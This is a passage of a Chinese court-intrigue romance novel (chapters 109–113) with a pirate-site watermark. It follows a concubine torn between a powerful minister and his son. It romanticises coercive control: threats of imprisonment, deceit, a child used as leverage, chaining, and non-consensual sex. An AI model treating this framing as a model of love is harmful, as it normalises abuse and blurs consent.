林昭明微微低头,隔着衣服吻上女人的腹部,埋首在柔软的肚皮上,心上忍不住想,为何生下他的人不是面前的女人。 若徐可心是他的母亲,从被生下那刻起,他就可以轻而易举地得到这人全部的喜欢和照顾,既可以被她抱在怀里哄睡,也可以吸吮她的乳汁,而徐可心永远不会抛弃他,无论去了何处,都会想着将他带到身边。 可事实上,除了那点极为可怜的情意,他们之前没有任何关系,而她的亲生女儿也是那个小拖油瓶,而非他林昭明。 他像条路边缺爱的野狗,追在女人身后,死死咬着女人的衣裙不放,生怕同她再次分离…… 第109章 临近寅时,天还未亮。 胸口格外闷,徐可心缓缓抬眼,却见男人仍趴在她怀里,半边身子完完全全压在她身上,压得她几乎喘不过气。 他微微蜷缩身子,有力修长的腿绞着她的身子,整个人像条巨大的蝮蛇,死死缠着她。 她睡得不安稳,对方的睡容却意外地满足,鸦睫朝下,高挺的鼻梁顶着她的心口,温热有力的呼吸缓慢落在她的皮肤上。 这人入睡时,倒也格外安分,不似平日冷脸时那般吓人。 天还未亮,隐隐绰绰的光透过窗纸渗入房中,带着几分新秋的冷。 她环着男人的脖颈,轻轻按揉几下,“应上朝了。” 男人微微皱眉,环住她的手臂微微用力,转过头,将脸完全埋在她怀里,头也不抬闷声道,“还未到时辰。” 徐可心看了眼窗前的光亮,未再说什么。 昨夜他率人前去查封李家,回来后,也未提起此事。若有变故,这人理应会告诉她,既然未说,那就是已经处理好了。 李家已被查封,她不想,也不敢再查下去了……好似每每和那人扯上纠葛,她就不自觉自乱阵脚,什么都未做,便心生忐忑。 她看着一旁出神,腰忽得被攥紧。 “你再想何事?” 问话从身前传来,徐可心回过神,寻声看去,却见林昭明不知何时抬眼,直直盯着她看。 “未再想什么。”她说。 林昭明盯着她看,明显未相信她的话。 无声对视片刻,徐可心先败下阵,揽住他的头,复又将人压在怀里抱紧。 “你真得决定和我离开?” 他留在京中,是人人敬畏的林二公子,可等离了京,去了一个人生地不熟的外乡,就失了如今的权势和地位。 她如今不是大人的妾室,不然两人还会背上私奔的罪名。 本眉眼沉静的男人闻言,复又抬眸看了过来,“你要丢下我自己走?” “……我未这般说。” “可你心里就是这般打算的。” 男人冷声说完,单手撑在她耳边,屈膝至她身前,俯身道,“若你敢抛下我独自离开,我寻至天涯海角也要找到你,再将你关押在地牢,像个被囚禁的犯人,哪里也去不得。” 他逐字逐句威胁,每个字都咬得极为重,好似真得怕她跑了一般。 男人眉眼凌厉,话里没有半分假意。 徐可心无声看着他,过了良久,才轻声道,“我不会抛下你。” 只要知晓这人依赖她,离不开她,她就会彻底把这人放在心上。 小妹是,青姝也是。 只有那人不是……她于那人而言,好似并非那般重要,不 然也不会轻易用女儿要挟她,给了她一个两难的选择,逼她从这人身边离开,甚至数次将她推给林怀瑾。 “你只将青姝带回,我们便离开此地。”她说。 林昭明垂眼看着她,垂在肩侧的长发落在她的脸上,忽得没有征兆道,“离了此地,待安顿之后,我就娶你为妻。” 话音刚落,也未等徐可心答应与否,直接起身下床,拿上外衣离了厢房,背影莫名带着几分落荒而逃的意味,好似怕她不答应一般。 徐可心坐起身,想要叫住他时,人已经阖上门跑了。 她坐在床前,望着紧闭的房门,良久后才几不可察叹了口气。 离了京城,只有他们二人,她也对这人有情,不会再接纳旁人。 白日上朝,大殿之上,一众老臣面面相觑,终于推出一个人,让他上奏昨夜林侍郎的罪行。 那人跪在地上,背挺得格外直,透着几分决绝。 少帝坐在龙椅上,摩挲着手指上的玉扳指,先是看了眼百官之首林首辅,复又看了眼站在一众官员中面色冷峻的林侍郎,既未令那名大臣站起身,也未令林昭明陈词。 李家和徐家一事,他最清楚不过,之前顾及林大人,他一直未清算梁家,那日刚得了奏折,知晓林大人松口,他忙不迭将奏折拿到念安面前。 他问念安,想要怎么惩处李家,念安知晓李家做过的事后,冷着一张脸,说要将李家满门抄斩。 他也早就看李家不顺眼,知晓林侍郎素来看不惯李家,便派林昭明前去。 果然,未留活口。 不过眼下大臣告到他面前,他也应给众人一个说法,少帝垂着眉眼,正想着寻个法子保全此人时,却见林昭明主动走到殿前,拱手道: “陛下,臣自知行事鲁莽,自愿请辞。” 话音刚落,少帝摩挲扳指的动作一顿,下意识抬眸,看向站在不远处的林首辅。 不单是他,一众大臣也纷纷侧目,看向站在人前眉眼冷淡的男人。 本跪在地上的大臣闻言,身子不自觉颤抖,他们只想让陛下惩处林昭明,令其不再像条疯狗一样四处乱咬人,哪里想过这人竟然主动提出辞官。 若林大人计较此事,他们的官位怕也不保…… 谋划此事的几个大臣闻言也霎时慌了神,未等少帝说什么,一个大臣就主动站了出来,跪在地上求情道,“陛下,林侍郎虽行事鲁莽,但也是为了我朝安危,清理叛党余孽,乃是忠臣。” 话落,又有几个大臣站出来,为其求情。 少帝看了眼跪在地上的一众老臣,复又看向站在不远处未语一言的男人。 他命林昭明处理李家一事,自然也预料到林昭明会如何行事,他本就没有惩处这人的意思,眼下分明是这人主动请辞。 想起那日念安说,阿姐如今被林侍郎养在京郊的宅院,而他林昭明一上任,就追着李家不放,眼下刚除掉李家,就立即辞官,好似完成了任务功成身退一般。 况且李家和徐家有纠葛,很难不令人想到,指示他调查李家的人是阿姐…… 第110章 殿内安静无声。 过了良久,众臣才听男人道,“依臣之见,刑部侍郎滥刑失德,理应革职查办。” 未因他主动请辞而网开一面,仍要惩处他。 奇了怪了。 少帝面露异色,林大人送来的奏折,陈列梁党当年罪行,眼下亲儿子受令行事,他不仅未留情,反而话里透着严加惩处的意思。 不知晓他们父子二人生了什么嫌隙,但既然首辅开口,也只能委屈林侍郎了。 少帝看了眼跪在地上腰背挺直的男人,笑道,“众爱卿所言极是,既然如此,林侍郎暂且待罪家中,听候发落。” 他未定林昭明的罪,只给了一个模棱两可的说辞。 林昭明跪在地上,闻言看向不远处男人的背影,不知晓他到底在思虑什么。 徐可心想走,他就想着打点好一切,带徐可心离京。 官职在身,他难以擅自离京,只能同陛下请辞,可眼下待罪家中,甚至不比先前自由。 林昭明紧攥拳头,在心里暗骂了一句老东西,虽心有不满,但只能俯身领旨。 这人好似猜到什么,才有意为难。 下朝时,林大人手持白玉笏板,迎着众臣的目光,眸色平淡地向殿外走去,路过站在一旁的林侍郎时,也未给他半个目光,甚至未苛责教训他半句,仿佛两人并非亲父子。 林昭明看着男人远去的背影,面色紧绷地站在殿前,俨然心里窝着火。 “同我回府。” 林怀瑾上前,轻声提醒,明显有话要同他讲。 计划落了空,又横生事端,林昭明面色不耐,本不想理会他,但想到青姝如今还在府上,他烦躁地攥紧笏板,跟在他身后离了大殿。 林府书房。 不知什么缘故,今日小孩格外不安,攥着她娘亲为她缝制的香囊,趴在男人怀里,砸吧着嘴,一个劲地唤娘。 钱管家推门走进,眸色忐忑,对上男人冷淡的目光,他犹豫片刻,才迟疑道,“大人,那边传来消息说,二少爷最近好似在命人绝卖田地。” 是绝卖,而非典卖……只把田地卖出去,再也不收回来了。 林远舟抱着怀中的女婴,良久后才道,“令其立即前去京郊,将功补过,治理灾后之事,只告诉他,何时妥善处理不留遗患,何时免去罪行。” 入秋后接连数日大雨,河水没过河堤,淹没了京郊大片田地。钱管家得了命令,缓步退了出去,只等房内余下他们父女二人,男人才揽着女婴的身子,将她抱在面前的桌案上。 青姝抓着他的衣袖,眸色不解,“娘……” 她只会喊娘这一个字,不会旁的。 林远舟也未在意,只轻声问,“青姝思念娘亲?” 听到娘亲两个字,小孩霎时激动地攥紧他的手腕,语气急切地复又唤了两声娘。 “既然如此,父亲只将娘亲寻回,让娘亲永远陪在青姝身边。” 他将女婴抱在怀里,拿起一个玉铃铛,长指微动,只轻轻摇晃一下,铃铛就发出几声脆响,小孩的目光霎时落在上面。 小孩是个爱哭的,同她娘亲一样,时常需要陪伴。 他未成婚前,倒也期盼过自己的孩子,虽不知晓如何做好一个父亲,但也想过如何教导他的孩子长大成人,直到女儿被埋在雪里,母亲求他将妻子让给堂弟,他就不再期盼做个好父亲。 何况他没有子嗣,也做不成父亲。 如今真得有了自己的孩子,他却早就忘记了最初的期盼,也难以对这个女婴生出几分情意。 过去他不知晓这女婴有何用处,如今情人离开,他知晓了…… 京郊宅院。 林昭明上朝后迟迟未归,以为他有要事在身,徐可心令人收拾行囊,只等林昭明打点好一切,同他一起离京。 慌乱的脚步声从门外传来,“夫人不好了!” 丫鬟匆匆跑了进来,“大人命人将二少爷关押至地牢,令人不得前去探望。” 话音刚落,徐可心霎时起身。 分明白日离开时林昭明尚且无事,只过了一夜,大人就突然下令,将人关押至地牢。 丫鬟看着她,主动上前,扯她的手臂,“夫人,眼下情况紧急,只有你能救二少爷!” 丫鬟的五指用力收紧,死死攥住她的手腕,未等她答应,就扯着她的手臂向外走。 临出门前,恰好撞见哑女。哑女紧蹙着眉,盯着丫鬟,见两人要走,下意识拦在她们面前,看向她,伸手比划什么,眼底满是困惑。 “少爷被大人关起来了,我同夫人回府,前去为少爷求情。” 丫鬟未说自己提的主意,哑女闻言,抬眸看向她。 徐可心站在原地,得了喘息之机,停下脚步,内心忍不住打起退堂鼓。 她不愿回去见那人…… 只一见到他,她就像个被牵引的木偶一般,被他的心意左右,不受控地任他摆布。 她喜欢大人,也愿意任他摆布,偏偏这人要将她推给别人。何况徐家一事还未彻底了结,她也过不去自己心里那道坎。 这人将他往外推,看不见的手却将这人推到她面前,告诉她,大人就是布局之人。 “夫人!大人之所以关押少爷,只因昨夜少爷屠了李家满门,今日上朝时,被人公然告到陛下面前。” 丫鬟攥紧她的手臂用力,话语激动,不断给她施压,“大人过去素来疼爱夫人,只要夫人前去为少爷求情,大人一定会网开一面。” 徐可心面色一怔,屠了李家满门,怪不得昨夜男人身上的血腥气那般重…… 她比 谁都清楚,林昭明为何会做出此举。 眼见她沉默无言,露出些许动摇之色,丫鬟忙不迭道,“夫人,大人素来手段强硬,恐二少爷免不了一番皮肉之苦。” 徐可心紧攥着帕子,安抚地看了眼站在身侧的哑女,“前去备好马车。” 丫鬟唇瓣微动,方要说什么,见哑女离开,她又紧抿着唇,片刻后才担忧道,“夫人,事不宜迟,我们还是前去院外等候罢。” 徐可心微微颔首,顾不得多想,被她带离宅院。 刚到门前,就见一辆马车安静地停靠在院门前,一个车夫坐在马车前,攥着缰绳,不似旁的车夫,等候时姿态懒散,那个车夫挺着腰板,一副随时待令的模样。 徐可心面露迟疑,她记得院里车夫的长相,并非此人。 见她站在原地不动,丫鬟扶着她的手臂,急切仓促地将她拉到马车面前,“夫人,我扶您上马车。” 强压下心头的疑惑,只认为她多想了,徐可心掀开幕帘,方要走进,在对上一双再熟悉不过的眸子时,她的身子骤然一僵。 整个人不上不下地弯着腰,直直盯着车厢中的男人。 她不开口,男人也只无声看着她。 喉咙忽得格外干涩,过了良久,她才找回自己的声音,很轻地唤了一声大人。 男人未身着朝服,罕见地穿了一套青衣,袖口绣着繁琐的云纹,白鹤落在他的衣摆,垂下的长羽栩栩如生,好似真得羽毛一般,腰间还佩戴了一只玉环和她缝制的香囊,素来垂在肩侧的长发眼下也尽数被一只羽翼状的白玉冠竖起。 不同往日那般随意,男人好似方从宴席归来,穿着格外隆重,仙君下凡似的。 “过来。”他说。 话音刚落,她就不受控地攥紧幕帘,硬着头皮走了进去。 车厢内。 徐可心坐在幕帘边缘,未坐在男人身侧,低垂着脑袋,既不敢看对方,也不敢同他讲话。 林远舟端着茶杯,也未品茶,只摩挲着掌中肤如凝脂的白玉碗底,任由茶水沿着碗壁缓慢浮动。 车厢内安静无声。 方才丫鬟告诉她,林昭明得了大人惩戒,眼下男人只坐在她面前,徐可心深呼一口气,平复良久,才鼓起勇气开口,“大人,昭明是为了妾……” 话语一顿,忽得意识到两人的身份,她复又改口道,“昭明是为了民女才下了杀戒,错在民女,还请大人放过昭明。” 她和林昭明少时形影不离,她也时常直呼其名,在府上时顾及身份,才一直唤林昭明二少爷,眼下她不是男人的妾室,仍唤昭明二字。 她未认为有什么不对,男人指尖一顿,将手中杯盏不紧不慢放在镂空银盘中。 “错在昭明,他免不了一番惩处。不过既然可心主动提起,本官倒想知晓,可心想要如何弥补过失。” “是代其受惩,还是将功补过。” “数百条人命,罪孽深重,并非只言片语可以化解,不知可心这次愿付出何种代价?” 同旁人交谈时,这人总是没什么兴致,少言寡语,神情冷漠,可面对他的情人时,他总是不自觉付出更多的耐心,只缓慢陈述,给她选择,却不断用言语围剿她,令其顺着他的心意做择。 他见过太多人,聪明的,蠢笨的,亦或自作聪明的,有意扮丑的。 他身处高位,早就拥有一切,不必有意寻一个聪慧漂亮的花瓶装点门面,也不必寻一个精明能干的管家帮他掌管后宅,更不会寻个心智稚嫩的幼童,将其哄骗到身边,同她谈情说爱。 他没这个兴致,也不想玩弄女童。 只知根知底、合他心意即可,贵在可心。 他过去这般想,可偏偏把人放在身边,长久相处,又不自觉为其考虑,不知不觉,反倒上了心,难以割舍。 他只给了这人两个选择,嫁给怀瑾为妻,亦或成为昭明的妾室,他的两个儿子都对可心有意,不会辜负她。 但也仅仅给了她两个选择,不曾有离京这条路。她哪怕做别人的妻子,也只能留在林府,留在他身边。 情人同他生疏,坐在远处,未同过去那般伏在他怀里讲话,林远舟也未在意,只当情人在同他闹脾气。 早在把人写入族谱那天,他就想过,哪怕这人之后转性,将京城翻个底朝天,他也会为其善后,但他从未考虑过这人会离京,真得从他身边离开。 毕竟情人曾承诺,到死也会一直陪在他身边。 因此无论谁离京,她都不能走。 她只能留在林府,也只能活在他的羽翼之下…… 男人眸色冷淡,面上未有什么情绪,依旧一副漫不经心的随意模样,心潮却汹涌异常,翻卷着他的所有情意。 相比较他面上的从容,徐可心却是坐立难安,良久不知如何回答男人的话。 她身无一物,拿不出任何砝码,况且她能拿出来的东西,想必于男人而言也不值一提,没有半分价值。 她能用情意胁迫林昭明,但她难以用情意胁迫面前的男人,只因她根本不知晓她在男人心中的分量…… 可男人于她而言又太过重要,她也不想用他们的情意做说辞。 若在平日,她不知如何作择时,总会同男人示软,求他解惑,可现在她不是这人的妾室,她又不知晓如何应该做什么。 只僵硬地坐在那里,窘迫地攥着衣袖,承受他无声的审视。魔.蝎`小`说 M`o`x`i`e`x`s. c`o`m 110-120 第111章 徐可心蜷缩着身子,低头躲着男人的目光。 她不开口,男人只无声看着她。 “我要……如何做,大人才会帮他。”徐可心盯着手指上的褐色小痣,声音怯懦至极。 她面对这人时,总是处于下风,忍不住依赖他,受他支配。 “可心。” 男人唤她的名字,抬手抚上她的侧脸,像是逗弄小猫小狗一般,安抚地用指腹抚摸她的眼尾。 “同为夫回府。”他说。 这人那日分明说,要么嫁给长公子,要么沦落市井,徐可心忍不住微微偏头,躲过男人的手,“民女不愿回林府。” 她已经承诺林昭明,会带他一起离京。 男人眸色微深,握住她的手臂,直接将她整个人拉进怀里。 “大人!” 徐可心惊呼,不受控地扑进男人怀里,她扶着男人肩膀,下意识想要起身,几乎瞬间,男人的手覆在她的后腰上,将她整个人用力压在怀里。 她弯着身子,被男人紧紧扣在怀里,双腿不自觉屈起,跨坐在男人的腿上,整个人被完全地嵌在男人怀中,挣脱不得。 “不愿回府,可心要去何处?” “同他离京,从为夫身边离开?” 男人攥着她的肩膀,俯身在她耳边问。 徐可心身子一僵,彻底不敢乱动,大人如何知晓她意图离京。 见她面色泛白,知晓她真得有离京的打算,林远舟攥着女人腰侧的手不自觉收紧,抽痛声霎时在耳边响起。 “大人……”徐可心难受地躲他的手,想不通他为何知晓此事。 她扭着身子,想要从男人怀里挣脱,可搭在她腰上的手臂好似铁钳一般,牢牢禁锢她的身子。 “民女如今不是大人的妾室,男 女有别,还请大人松手。”她枕在男人肩侧,脸色涨红。 未曾想过情人为了躲他,甚至说出了男女有别四个字。 林远舟坦然地低头,埋首在女人颈侧,嗅闻她颈侧熟悉的体香,垂在她腰间的手不断下移,掀起衣摆,轻车熟路地探进衣中,温热的掌心直接覆上她的腰侧。 徐可心不自觉身子一僵,整个人汗毛竖起,僵硬地靠在男人怀里。 若男人此时想要,她定然难以躲过。 可现在是在马车内,车夫仍坐在外面。 徐可心攥紧男人的衣服,埋首在男人怀里,面色难堪地恳求,“大人,妾身很怕,放开妾身好不好……” 她隔着衣服,紧紧攥着男人的那只手,面色格外委屈。 男人无声俯视她,未语一言,徐可心紧抿着唇,微微低头,枕在他的颈侧,讨好地轻蹭,“大人,可否放开妾身?” 未离府前,男人极为纵容她,哪怕一开始不答应,但只要她撒娇服软,男人都会答应她。 徐可心也拿不准这人的心思,但她实在不想在马车内同男人白日宣淫,只能同往日那般装可怜,讨好地看着他。 男人迟迟不拿走搭在她腰侧的手,徐可心急得面色涨红,分明过去一直纵容她,现在却不理会她。 她忽得想起吴尚书那日对她讲过的话,难言的苦涩浮上心头,密密麻麻地蔓延至五脏六腑,疼得她几近窒息,眼眶也不自觉酸胀。 她被男人桎梏在怀中,本来处于下位,可她越想越委屈,想起那日她被林怀瑾侵犯后,男人不仅未安慰她,反而说她蠢笨,想起那日男人命人将她的女儿送到别人院中,想起男人逼她嫁人…… 一开始她只小心翼翼哭着,不敢让男人发觉,可委屈压在心头,顷刻之间,脸颊便被泪水覆盖。 心上的畏惧褪去,取而代之的是满心的埋怨,还有难以言说的恨意。 “我同大人回府,然后你又要逼我嫁给旁人?” “我说了,我只想陪在你身边,无论做妾,亦或做个女婢,你却一直逼我。” “大人分明知晓我多在乎青姝,还将她送给旁人,你根本不在意青姝,也不在乎我,我为何要同你回府?” “大人就是个骗子,成日里哄骗我,我不喜欢大人了,也不想同你回府。” 开了口,之后的话就好说了。 她趴在男人怀里,越说越激动,只埋首在男人怀里,哭得浑身颤抖。 她过去在男人面前一直小心翼翼地讨好他,何时这般心绪外露,把所有的埋怨脱口而出。 而他林远舟位尊权重,无论皇亲贵戚,还是重臣权贵,面对他时无一例外恭敬有礼,莫说出言不逊,甚至不敢控诉半分。 眼下他的情人伏在他怀中,却不管不顾地出言斥责他,面上还委屈得不行。 车夫坐在幕帘外,听着一帘之隔后的斥责声,眼观鼻鼻观心,只当自己聋了,什么都未听见。 徐可心趴在男人怀里,借着心上的委屈,只把所有的不满全都讲了出去,待一股脑说完,她才冷静些许,对上男人无声的目光,心上复又生出几分怯意,低头闷声道,“反正民女不会同大人回府,如今卖身契已毁,民女不欠大人什么。” 她以为男人会赶她离开,亦或斥责她,毕竟她以下犯上,不顾身份说了很多控诉的话,可男人只是抚上她的眼尾,用温热的掌心擦拭她脸颊的泪水,温声道,“他为了你屠了李家满门,被人告到陛下面前,待罪家中,不得离京,难以同你离开。” “无官失权,又是罪人,若陛下之后怪罪,兴许会命人将他关押至牢中。” “若可心同为夫回府,为夫便向陛下求情,让他官复原职,若可心不愿回府,也只能眼睁睁看着他锒铛入狱,因你身陷囹圄。” 男人揽着她的腰,将她整个人抱在怀中,俯身在她耳侧,缓声分析利弊,复又将选择的权力交给她,但也只给了她一个选择。 垂在袖中的手指不自觉攥紧,她僵着嗓音,“丫鬟方才说,大人命人将他关至地牢。” 可现在男人又说陛下有意惩处他,到底哪句是真的,哪句是假的? 男人轻吻她的耳侧,“丫鬟所言只是骗可心前来见为夫的谎话。” “可心不愿回府,而为夫太过思念可心,只能出此下策。” 男人话语坦然,甚至没有骗她的意思,徐可心面色紧绷,泪水积蓄在眼眶中,闻言心上愈发不满。 眼下未见到林昭明,她赌这人仍再骗她,“若昭明被关押至地牢,我便在京中等他出来,再同他一起离京。” “可心果然变了心,想要同人私奔。”男人枕在她颈侧,忽得轻笑一声。 这笑声实在突兀,徐可心的身子也不自觉随之一颤。 男人不紧不慢起身,拿出伏在她腰侧的手,抚着她的下颚,吻上她的唇角,动作温柔缱眷,语气却没有起伏道,“可心,青姝尚在府中等你回去。” 只一句话,她满心的埋怨和畏惧尽数褪去,被恨意全然占据。 他眸色平静,透着不近人情,好似确信她会答应回府。 这人又用他们的女儿威胁她。 “青姝于大人而言究竟算什么?”她语气颤抖,仰头质问。 男人无声看着她,良久才道,“若可心留在为夫身边,她便是林府的长小姐,若可心不愿留在为夫身边,她便只是一个弃婴。” 男人话语无情,徐可心听完,只觉浑身血液冷凝。 “我可以同大人回府,但大人必须将青姝归还于我。”她说。 男人揽着她的肩膀,复又将她抱在怀里,轻声说了个好字。 得了他的承诺,徐可心霎时全身脱力地伏在他怀里。 秋日雨急,京郊佃户的房屋尽数被冲垮,大雨中,男人身着蓑衣,站在河岸边,随手抹掉脸上的雨水,亲自指挥官兵修补河堤。 那日林怀瑾问他,徐可心是不是被他带走了,想要去见徐可心。 他大费周章才将人抢回来,怎么可能让林怀瑾见她,只让林怀瑾有多远滚多远。 只等治了水灾,他就能带女人离京。 到时徐可心只属于他,再也不会有人将徐可心从他身边带走。 暴雨之下,男人手持长刀,负手而立。 “二公子,雨太大了,这里有我们照看,您先回去罢!” 一个官员顶着大雨,同他喊道。 男人眸色冷峻,闻言方要说不必,却见一个官兵匆匆跑到他面前,“二公子,有几家紧闭大门,不愿开门收留佃户。” 林昭明眉头紧拧,“你只说是本官的命令。” 官兵面色为难,“说了,但他们说……” 他话音一顿,迟疑道,“说公子如今自身难保,不待罪家中,跑来此处耍官威。” 林昭明冷冷看了一眼身前的官兵,缓慢摩挲腰间刀柄。 “他们倒是了解我。” 雨下得愈发大,同血水混在一起,不断冲刷两岸,泥沙俱下,但撞在河堤上,顺着新道涌出,不复之前那般汹涌。 没过多久,林二少治理水灾的美名就传了出去。 他是新科状元,为官后,杀贪官,除叛党,京中权贵畏惧他,骂他为官不仁,是个不折不扣的酷吏,可京中一众百姓却仰慕他,为其作诗歌颂他。 林昭明不在乎名声,只等佃户得到安置,就立即赶回宅院。 “夫人去了何处?” 厢房内,他穿着被泥水浸泡的官服,看着空无一人的屋内,冷声问。 哑女跟在他身后,闻言慌乱比划。 林昭明盯着她的手,眉头紧拧,“你说她去救我了?” 第112章 林府。 四姨娘离开后没多久,留在春熙斋的旧物就被人尽数整理出来,同人一样,被毫不留情地扔出府外,颂兰苑和落梅苑亦是如此。 只有听雨阁,人走了,东西却仍安置在原位 ,每日被人仔细擦拭打扫,别说偷拿,甚至没人敢挪动一下,生怕错了位置,被人追究。 这日,钱管家带人前来,复又将听雨阁从里到外修缮一番,眼见快要入秋,他未命人用厚纸贴补窗门,反倒命人将窗户从外面彻底钉死,换了一个更为厚重的雕花木门。 门上挂了三个锁环,可上三把铁锁。 知道的是住人的厢房,不知道的还以为是关人的牢房。 院内的下人们一头雾水,见房门被人锁紧,以为大人厌烦徐姨娘,才命人换了新锁,让人不再进出此地,可没过多久,看到离府数日的女人复又回了府中,他们才知晓,原来修缮门窗,添补门锁,是为了关押女人。 离府数日,再见面,女人衣着华贵,不像过去那般素雅,好似离了林府,她反倒活得更为自在。 她挪着步子,跟在男人身后,面色不再胆怯,反而透着明显的不满,一步一步缓慢挪着,故意拖延似的。 男人走在她身前,维持两步远的距离,好似看出她的抗拒,但未露出不耐之色,只眸色平淡地回头看她,耐心等她上前。 对上男人没有情绪的目光,徐可心停下脚步,低头看着两人之间的石阶,“大人,眼下已经到了听雨阁,民女自行入内即可,不劳烦大人带路了。” “大人公务繁忙,还是先走一步罢。”她垂着头,头也不抬小声道。 言语委婉,好似在替他考虑,但话里话外分明是赶男人走的意思。 下人们站在一旁,以为他们听错了,过去徐姨娘多依赖大人,恨不得时时刻刻陪在大人身侧,怎么可能意图赶大人走。 他们小心抬眸,看向站在院门前的两人,却见男人不紧不慢抬手,攥住女人的手腕,不顾徐姨娘面上的抗拒,同她十指相扣,牵着女人的手向房内走去,丝毫没有避讳他们的意思。 大白天好似见鬼了。 小厮抬手,用袖子擦了擦自己的眼睛,没敢相信他眼前看到的景象。 他们的确知晓大人纵容徐姨娘,但也的确知晓大人是个性子冷,从不在外人面前表露心绪。 他们还是头一次看见,大人主动同人牵手。 横竖怎么看,这个行为都和大人极为不符,不似他能做出来的事情,可眼下他偏偏同徐姨娘十指相扣。 下人们面面相觑,看向徐可心的目光也不自觉变了几分。 本以为徐姨娘离府了,就彻底走了,哪里想过,这人不仅回来了,还是被大人亲自带回来的。 当初长小姐意外夭折,夫人同大人置气回了沈家,大人别说前去寻夫人,甚至未派人过问,反倒是林二叔跑去沈家,代大人将人请回。 哪里有徐姨娘的待遇…… 徐可心全身抗拒,紧蹙着眉,极力想要挣脱男人的手,可对方的长指压着她的手臂,和铁钳似的,根本难以挣脱,她踉跄着步子跟在男人身后。 刚到门前,还未等说什么,她就被按着肩膀推入房中。 吱呀一声,房门被人反手阖上。 屋内只余下他们二人。 男人站在门前,未给她反应的机会,直接攥住她的脖颈,将她整个人压在门上。 “大人……唔……” 男人低头,一字未说,直接衔住她的唇。 唇上传来痛意,她下意识抚上男人的胸膛,想要将他推开,林远舟眼里的光暗了一下,攥住女人的手腕按压在门上,单手扶着她的腰,吻得愈发用力。 “你……” 徐可心仍想要挣扎,不安分地挪着身子,偏过头想要躲他的吻。 一巴掌不轻不重地落在她腰侧,她身子一僵,不敢再乱动。 这个动作的暗示性太过明显,若她仍反抗,等会儿就会被男人按在床上惩戒,到时这人起了兴致,她只有受苦的份。 她僵硬地背靠身后的木门,双臂被直直扯过头顶,像条受惊过度僵直的兔子,直挺挺地站在那里,未同过去那般主动索求他的吻。 “可心仍在同为夫置气?” 迟迟得不到她的回应,男人起身,伏在她腰间的手攥紧她的下颚,逼迫她转过头。 “民女不敢。”她垂着眉眼,看向一旁,不和男人对视。 她言语畏惧,好似很怕,但实则她在过去,甚至小心到不会说“不敢”二字。 分明性子软,身子也软,犯别扭时,却极为执拗。 林远舟看着面前面色倔强的女人,却不想再等下去了。 自女人离府后,他每日寡淡得厉害,除了一身公务,就只有女儿陪他。 青姝唤娘时,他也在思念女人。 林远舟抚上外衣,不紧不慢脱下,不顾女人的抗拒,将人拦腰抱起扔在床上。 他从未认为两人之间真得生了嫌隙,他只是太过疼爱此人,不愿看她受苦,才替她做决定,为她选了一条路。 只不过路走到一半,女人很抗拒,而他也恍然发觉,同让情人陪他老去相比,他更见不得情人在乎别的男人。 既然情人不想,而他也舍不得,只将人留在自己身侧,受他庇护。 徐可心被扔在床上,见男人站在床前褪下衣物,莫名的难堪弥漫在心头,男人的眼神太过直白,好似于他而言,她已经被扒光了一般。 她蜷缩身子,在男人俯身时,不满地转过身,留给他一个背影,“还未入夜。” 她想了半晌,只想到这一个个干巴巴的借口。 不过显然入夜与否,难以吓退男人。 她被褪了衣衫抱在男人怀里,背对着男人,看不到他的神色,整个人难受地挪动身子,抗拒他的亲近,不想同他欢好。 后背传来湿热的痒意,男人环着她的腰,单手托着她的腹部,细细密密地轻吻她的腰背。 “大人,妾身还未沐浴!” 眼见男人吻至后腰,仍没有停下的意思,她慌乱伸手,挡在自己的身后,阻止男人继续吻下去。 “脏,大人不要再亲了。” 林远舟抬头,却见女人扭着腰,屈着膝盖,费力地向床头爬去,纤白的手死死挡在身后,好似他是什么浪荡的登徒子一般。 就在徐可心准备爬下床时,一声沉闷的脆响从身后传来,她身子一顿,霎时回头,却见一个小巧的铁环扣在她的脚腕上。 男人的长指勾着铁链一端,四目对视,男人不紧不慢扯了一下铁链,她整个人就不受控地趴在床上。 “大人这是做什么?”她慌乱质问。 男人勾着一根红绳,系在她素白的脚腕上,顺着小腿不断缠绕,她有心挣扎,却被紧紧箍住双腿。 临到最后,她全身被束缚,如同案板上的鱼肉,蜷缩在床边。 男人单穿了一件外衣,拿着他上朝时所用的白玉笏板,站在床前无声俯视她,在她意图想要挣扎时,抬起手上的板子,不轻不重地打在她的脚心。 徐可心身子一僵,微微蜷缩小腿,恳求地看着男人,不敢再乱动。 笏板一端抵着她的脚心,微微按压,男人居高临下俯视她,眼底被情欲占据。 她眼下被束缚,难以挣脱绳子,不再想着逃脱,只乖巧地蜷缩在床边,以免惹男人不快。 她自认为未主动撩拨男人,也未有意惹怒对方,可不知为何,男人还是吻她吻得很凶,不留遗力地折腾她。 分明她已经足够乖顺了,但对方还是寻了几个没来由的错处,以此惩戒她。 徐可心一开始还乖乖受着,后来知晓装乖无用,趴在男人肩侧,忍不住哭了起来,哭得格外伤心难过,只把自己气到,泪眼婆娑,胸膛起伏不停。 男人额头沁着热汗,见她哭得厉害,终于停了下来,揽着她的腰,轻吻她的眼皮,贴着她耳侧轻哄不停。 “是为夫贪欲过重,一见到可心,就忍不住心生喜欢。” “为夫那日不该将可心推给旁人,可心这般好,是为夫思虑过重。” “往后可心只留在为夫身侧,只做为夫一人的小姑娘。” 徐可心埋首在男人颈侧,本来哭得厉害,听到男人的尾句,微微蹙眉,哽咽着提醒,“妾身已经生过孩子了。”如何算作小姑娘。 这个称呼太过别扭…… 话一出口,意识到自己忍不住理会他,徐可心忙不迭转过头,枕在男人颈侧复又小声哭了起来。 一开始哭得真情实意,眼下的哭声却透着几分小心翼翼的试探。 林远舟揽着怀中女人的后背,也未在意她的哭声有几声是真的,有几声是假的,只低着头,安抚地吻着她的眼皮。 徐可心整个人埋首在男人怀里,见他终于放过自己,扶着他的肩膀,小心哭着,心上却忍不住担忧林昭明的下落,想知道他到底是否有事。 她抬眸看着近在咫尺的男人,心中的问话堵在喉咙里, 想问,又不敢问,不问又心上难受,惦记得厉害,问了又怕惹男人不快,又被他寻着法子折腾一番…… 第113章 话停在口中,斟酌了良久。 她边小心哭着,边察看男人的面色,眼见对方一脸餍足,情欲被满足似的,她哽着嗓音,底气不足道,“大人,妾身已同你回府,你也应同陛下求情。” 她尚且坐在男人怀里,却提及旁的男人。 林远舟方把人仔细操弄一番,已然尽兴,见女人埋首在他怀里为别人说情,他也未过多在意。 两人青梅竹马一起长大,情同姐弟,过去又是未婚夫妻,女人又是个心软的,惦念那人也不足为奇。 何况如今女人已经同他回府,他也不必再顾虑她会不会同人私奔离京。 